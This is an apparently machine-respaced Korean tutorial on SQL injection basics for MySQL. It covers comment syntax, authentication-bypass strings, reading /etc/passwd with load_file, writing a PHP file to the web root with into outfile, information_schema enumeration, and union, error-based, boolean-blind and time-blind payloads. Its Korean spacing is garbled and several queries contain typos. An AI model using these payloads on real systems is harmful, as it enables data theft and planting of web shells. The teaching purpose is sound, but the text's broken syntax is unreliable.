sql 주입 에 필요 한 기초 지식

8067 단어 sql주입
SQL 주입 이란 무엇 인가(SQL Injection)
SQL 주입식 공격 이란 공격 자가 SQL 명령 을 웹 폼 의 입력 영역 이나 페이지 에서 요청 한 조회 문자열 에 삽입 하여 서버 가 악의 적 인 SQL 명령 을 수행 하도록 속 이 는 것 이다.일부 폼 에서 사용자 가 입력 한 내용 은 동적 SQL 명령 을 구성 하거나 저장 과정의 입력 매개 변수 로 서 SQL 주입 식 공격 을 받 기 쉽다.
mysql 상용 주석
    #
    --[스페이스 바]혹은--+
    /*…*/
주의 하 는 과정 에서 이 주석 들 은 모두 urlencode 를 진행 해 야 할 수도 있 습 니 다.
mysql 인증 우회
      ;%00
     ‘ or 1=1 #
     ‘ /*!or */ 1=1 --+
mysql 연결 부호
my sql 에서+를 사용 하여 연결 합 니 다.

select * from users where username='zhangsan' and "ab"="a"+"b";
my sql 에서 흔히 볼 수 있 는 함수
sql 주입 과정 에서 my sql 에 내 장 된 함수 가 사 용 됩 니 다.내 장 된 함수 에 서 는 정 보 를 얻 는 함수 와 기능 함수 로 나 뉜 다.
정보 함 수 는 my sql 의 데이터 베 이 스 를 얻 는 데 사용 되 는 정보 이 고 기능 함 수 는 전통 적 인 함수 로 특정한 조작 을 완성 하 는 데 사용 된다.
자주 사용 하 는 정보 함수:
    database() ,현재 사용 하고 있 는 데이터베이스 정 보 를 얻 는 데 사용 합 니 다.
     version(): 데이터 베 이 스 를 되 돌려 주 는 버 전 은 @@version 과 같 습 니 다.
     user(): 현재 사용자 에 게 돌아 갑 니 다.등가 는 current 와 같 습 니 다.user 인자.예:

select user(); #root@localhost
select current_user; #root@localhost
@@datadir,데이터베이스 의 저장 위 치 를 가 져 옵 니 다.

select @@datadir; #D:\xampp\mysql\data\
일반적인 기능 함수:load_file(): 컴퓨터 에서 파일 을 불 러 와 파일 의 데 이 터 를 읽 습 니 다.

select * from users union select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #  16         
into outfile: 파일 쓰기 권한 이 있 는 것 이 전제 입 니 다.

select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';
concat(): 결 과 를 연결 매개 변수 로 만 든 문자열 로 되 돌려 줍 니 다.그 중 하나 가 null 이면 반환 값 은 null 입 니 다.
용법 은 다음 과 같다.

select concat(username,password)from users;
*concat_ws():concat_ws() 의 특수 한 형식 으로 첫 번 째 매개 변 수 는 구분자 이 고 나머지 매개 변 수 는 필드 이름 입 니 다.

select concat_ws(',',username,password) from users;
group_concat():여러 기록 을 합 친 결과 입 니 다.
용법 은 다음 과 같다.

select group_concat(username) from users;
#     users        ,           。
subtring(),substr(): 은 문자열 을 자 르 는 데 사 용 됩 니 다.용법:substr(str,pos,length) ,주의 pos 는 1 부터 시작 합 니 다.

select substr((select database()),1,1);
ascii(): 용법 은 문자 에 대응 하 는 ascii 값 을 되 돌려 줍 니 다.

select ascii('a'); #97
length(): 문자열 의 길 이 를 되 돌려 줍 니 다.
예:

select length("123456") #  6
is(exp1,exp2,exp2): exp 1 의 표현 식 이 True 라면 exp 2 를 되 돌려 줍 니 다.그렇지 않 으 면 exp 3 로 돌아 갑 니 다.
예:

select 1,2,if(1=1,3,-1) #1,2,3
selecrt 1,2,if(1=2,3,-1) #1,2,-1
이상 은 sql 주입 공정 에서 자주 사용 하 는 함수 입 니 다.물론 많은 함 수 를 사용 하지 않 는 함수 도 존재 한다.
    now(): 현재 시스템 으로 돌아 가 는 시간
    hex(): 문자열 의 16 진 을 되 돌려 줍 니 다.
    unhex(): 역방향 hex()의 16 진법
    @@basedir(): 역방향 my sql 설치 디 렉 터 리
    @@versin_compile_os: 운영 체제
mysql 데이터베이스 메타 정보
mysql 에 information_schema 이 존재 하 는 것 은 정보 데이터베이스 입 니 다.이 데이터베이스 에 Mysql 서버 가 저장 한 모든 다른 데이터베이스 정보,예 를 들 어 데이터베이스 이름,데이터베이스 테이블,테이블 의 필드 이름 을 저장 합 니 다.
접근 권한informa_schema 에서 자주 사용 하 는 시 계 는 다음 과 같다.
     schemata:my sql 의 모든 데이터베이스 정 보 를 저장 하고 돌아 오 는 내용 은 show databases 의 결과 와 같 습 니 다.
     tables:데이터베이스 에 있 는 표 의 정 보 를 저장 합 니 다.어떤 시계 가 어떤 schema,시계 유형,시계 엔진 에 속 하 는 지 상세 하 게 설명 했다.
     show tables from secury 의 결 과 는 이 시계 에서 나 왔 습 니 다.
     columns:표 의 모든 열 과 열 에 대한 정 보 를 상세 하 게 설명 합 니 다.
     show columns from users 의 결 과 는 이 표 에서 나 왔 습 니 다.
다음은 위의 세 개의 표를 이용 하여 데이터베이스 정 보 를 얻 는 것 이다.

select database(); #     
select schema_name from information_schema.schemata limit 0,1 #     
select table_name from information_schema.tables where table_schema=database() limit 0,1; #   
select column_name from information_schema.columns where table_name='users' limit 0,1; #   
sql 주입 형식
sql 주입 유형 은 크게 일반적인 sql 주입 과 sql 블라인드 로 나 눌 수 있 습 니 다.sql 맹 주 는 시간 에 기반 한 맹 주 와 웹 페이지 내용 에 기반 한 맹 주로 나 눌 수 있다.
sql 의 블라인드 에 대해 인터넷 에 도 많은 설명 이 있 는데 여기 서도 너무 많은 설명 을 하지 않 습 니 다.맹주 의 개념 에 대해 구체 적 인 예 가 있 으 면 설명 하기 쉽다.
지연 주입 에서 자주 사용 하 는 함 수 는 if()sleep() 함 수 를 포함한다.
기본 sql 표현 식 은 다음 과 같 습 니 다.

select * from users where id=1 and if(length(user())=14,sleep(3),1);
select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);
넓 은 바이트 주입
넓 은 바이트 주입 에 대해 서 는 넓 은 바이트 주입 에 대한 상세 한 설명 을 참고 할 수 있 습 니 다.넓 은 바이트 입력 은 일반적으로 웹 페이지 인 코딩 이 데이터베이스 인 코딩 과 일치 하지 않 아서 생 긴 것 이다.넓 은 바이트 주입 에%d5 또는%df 를 사용 하여 돌아 갑 니 다.
my sql 상용 어구 총화
일반 주입

1' order by num #        
1' union select 1,2,3 #       
-1' union select 1,2,3 #           
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #  mysql       
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1              
이중 SQL 체크

select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #  sql     ,   sql   。        
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #          

 
#      :
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
이러한 이용 자 세 는 my sql 명령 을 수행 할 때 오류 보고 정 보 를 통 해 필요 한 정 보 를 얻 을 수 있 으 며,다음 글 에 서 는 이러한 표기 법 을 상세 하 게 분석 할 것 이다.
bool 맹주

1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90
bool 블라인드 는 sql 구문 에 따라 반환 값 이 True 또는 False 에 대응 하 는 페이지 내용 이 발생 하여 정 보 를 얻 는 것 입 니 다.
시간 맹 주

1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+
상술 한 두 가지 표기 법 은 모두 등가 이 며,time 블라인드 의 일반적인 sql 주입 방법 은 다르다.시간 맹 주 는 일반적으로 if()sleep() 함 수 를 사용 해 야 한다.그리고 페이지 반환 내용 의 길이 에 따라 sleep() 함수 가 실행 되 었 는 지 알 수 있 습 니 다.sleep() 함수 의 실행 여부 에 따라 필요 한 정 보 를 얻 을 수 있 습 니 다.
총결산
이상 은 sql 주입 에 필요 한 기초 지식 입 니 다.다음 글 은 사례 를 통 해 sql 주입 중의 지식 을 상세 하 게 설명 할 것 입 니 다.오늘 의 이 글 도 주로 기초 지식 입 니 다.sql 주입 에 관심 이 있 으 신 분 들 은 계속 지 켜 봐 주세요.

좋은 웹페이지 즐겨찾기